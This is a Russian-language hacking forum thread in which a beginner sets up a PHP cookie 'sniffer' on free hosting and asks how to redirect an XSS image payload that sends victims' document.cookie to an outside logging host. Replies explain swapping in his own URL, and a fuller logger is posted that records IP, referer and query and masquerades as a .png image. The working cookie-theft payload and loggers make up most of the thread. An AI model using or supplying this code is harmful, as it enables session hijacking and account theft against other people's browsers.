Нашёл вот такой скрипт(без вопросит. знаков): <? $f=Fopen("./log.txt","a+t") or die ("!!!"); Fputs($f,"$REMOTE_ADDR "); Fputs($f,$QUERY_STRING); Fputs($f,"\n"); ?> создал сайтик на holme, запихнул log.php(со скриптом) и log.txt в папку WWW. Теперь о применении. Мне нужен этот сниффер для отлова куков через jpg-файл, в котором содержится: <?script?>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?van"+document.cookie;<?/script?> Этот скрипт отсылает куки на античатовский сниффер. ТАк вот вопрос: как мне переделать этот скрипт чтобы он отсылал куки на *.h15.ru/log.php ????
Скрипт конечно ты могучий привёл... И вопрос тебя мучает тоже серьёзный Попробуй заменить строку "http://antichat.ru/cgi-bin/s.jpg" на путь к своему скрипту. Неужели самому было трудно догадаться?
я вообще не понял ты говоришь что в первом скрипте надо без вопросов, как это???? и что за <?script?> <?/script?>
Все, у меня все заработало! Причем справился я сам... Строчку "http://antichat.ru/cgi-bin/s.jpg" я конечно заменял на адрес своего скрипта, но куки не присылались. Теперь я понял в чем проблема и исправил: я сначала когда нашел скрипт для сниффера, то думал что вопросительные знаки в начале и в конце стоят для того, чтобы он не сработал на форуме. Оказалось, что нужно вопросительные знаки оставлять... Из-за этого я и написал сначала фразу "(без вопросительных знаков)". Вы уж меня извините за моё чайничество...Я пока учусь...
Да, можете закрывать. З.Ы. А сниффер я себе все-таки покруче сделал, с полями referer, query с перекодировкой...))
<? // nerezus, 2005, GPL v2 // IF U WANNA USE .png(or .gif, .jpeg) EXT FOR THIS FILE, TYPE AddType application/x-httpd-php .png TO YOUR .htaccess $log="log.txt"; $file = fopen ($log, "a+"); $qu=UrlDecode(getenv('QUERY_STRING')); $ref=UrlDecode(getenv('HTTP_REFERER')); $ip=getenv('REMOTE_ADDR'); $now = getdate(); $nowstring=$now['mday'].".".$now['mon'].".".$now['year']." ".$now['hours'].":".$now['minutes'].":".$now['seconds']; $str="[$nowstring] IP=$ip REFERER=$ref QUERY=$qu\n"; fputs ($file, $str); fclose($file); header('Location: image.png'); ?>
хе, да, "достижение" ;-) Именно по этому перед тем как начать "снифферы писать" надо хотя бы изучить язык на котором они пишутся ;-)